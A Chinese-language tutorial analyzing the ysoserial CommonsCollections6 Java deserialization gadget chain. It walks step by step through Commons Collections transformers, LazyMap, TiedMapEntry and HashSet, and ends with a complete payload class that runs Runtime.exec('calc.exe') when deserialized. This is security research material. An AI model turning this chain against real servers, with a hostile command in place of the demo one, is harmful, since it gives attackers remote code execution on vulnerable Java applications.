java 安全 ysoserial CommonsCollections6 分析

利用鏈如下

其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()與CC1鏈一致。

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
*/

1、InvokerTransformer.transform()

因為Runtime類不實現Serializable接口,所以使用Class類對象反射構造Runtime對象來實現exec方法。InvokerTransformer.transform()具備反射執行能力。

Class cr = Class.forName("java.lang.Runtime");
        Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

2、ChainedTransformer.transform()

使用ChainedTransformer構造方法,給iTransformers賦值,在transform中執行iTransformers所有元素的transform,transform傳入的參數為前一個元素的對象。所以這個方法可以對步驟1中鏈執行。

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

創建一個Transformer[],包含步驟1中所有對象。

Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

由於步驟1中cr對象是Class對象,不實現Transformer接口。通過ConstantTransformer的transform方法得到一個實現Transformer的方法。

public ConstantTransformer(Object constantToReturn) {
	super();
	iConstant = constantToReturn;
}
public Object transform(Object input) {
	return iConstant;
}

所以最終得到的transformers是

public static void main(String[] args) throws Exception {
//        Class cr = Class.forName("java.lang.Runtime");
        ;
        Transformer[] transformers = {
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        new ChainedTransformer(transformers).transform(1);
    //calc.exe
    }

3、LazyMap.get()

LazyMap類的get方法實現瞭,對factory的transform。factory的decorate方法實現瞭對factory的賦值,Transformer類型

所以向decorate傳入new ChainedTransformer(transformers),最終調用get來實現new ChainedTransformer(transformers)的transform。

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
}
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

當然調用get方法的時候,如果key是不存在的才會執行factory.transform(key),所以最終的調用

Transformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
lazyMap.get(2);
//calc.exe

4、TiedMapEntry

根據利用鏈,下一步通過TiedMapEntry構造方法傳入map和key,通過getValue實現對map參數的get操作,所以將lazyMap和一個不存在的key作為參數傳入。

public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
}
public Object getValue() {
        return map.get(key);
}

利用鏈

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.getValue();

再看TiedMapEntry的hashCode方法,實現瞭getValue()的調用。

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
}

利用鏈

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.hashcode();

5、HashMap

hashmap的hash實現瞭對參數key的hashcode方法,put方法實現瞭hash方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h &gt;&gt;&gt; 16);
}
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
}

利用鏈

Map hashmap = new HashMap();
hashmap.put(tiedMapEntry,1);
//calc.exe

6、HashSet

根據利用鏈看HashSet類的readobject(),由於map = new HashMap<>(),最終實現瞭在readobject中調用瞭hashmap.put方法。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ...
        // Read in all elements in the proper order.
        for (int i=0; i&lt;size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

利用鏈

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();

由於在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中實際執行的lazyMap.get(2)。

public Object getValue() {
        return map.get(key);
}

lazyMap.get(2)該執行過程中,如果lazyMap不存在key,會對lazyMap儲值。

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
}

所以在做序列化的時候實際lazyMap中已經存在瞭key=2,反序列化的時候map.containsKey(key) == false不成立,在反序列化過程中無法成功執行Object value = factory.transform(key);

在序列化之前需要將該key移除

lazyMap.remove(2);

優化:

由於hashSet.add(tiedMapEntry);中,執行瞭map.put(tiedMapEntry),最終會在本地執行exec。

public boolean add(E e) {
        return map.put(e, PRESENT)==null;
}

在一開始可以對transformers賦空值,在序列化之前再對ChainedTransformer類產生的transformer的iTransformers通過反射做修改,將實際執行的exec執行鏈傳入。

Transformer[] transformers = {};
Transformer[] transformerslist = {
	new ConstantTransformer(Class.forName("java.lang.Runtime")),
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);

最終的利用鏈

public class CC6Test1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = {};
        Transformer[] transformerslist = {
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put(1,"hello");
        Map lazyMap = LazyMap.decorate(map, transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
        HashSet hashSet = new HashSet();
        hashSet.add(tiedMapEntry);
        lazyMap.remove(2);
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformer, transformerslist);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
        objectOutputStream.writeObject(hashSet);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
        objectInputStream.readObject();
    }
}

以上就是java 安全 ysoserial CommonsCollections6 分析的詳細內容,更多關於java ysoserial CommonsCollections6的資料請關註WalkonNet其它相關文章!

推薦閱讀: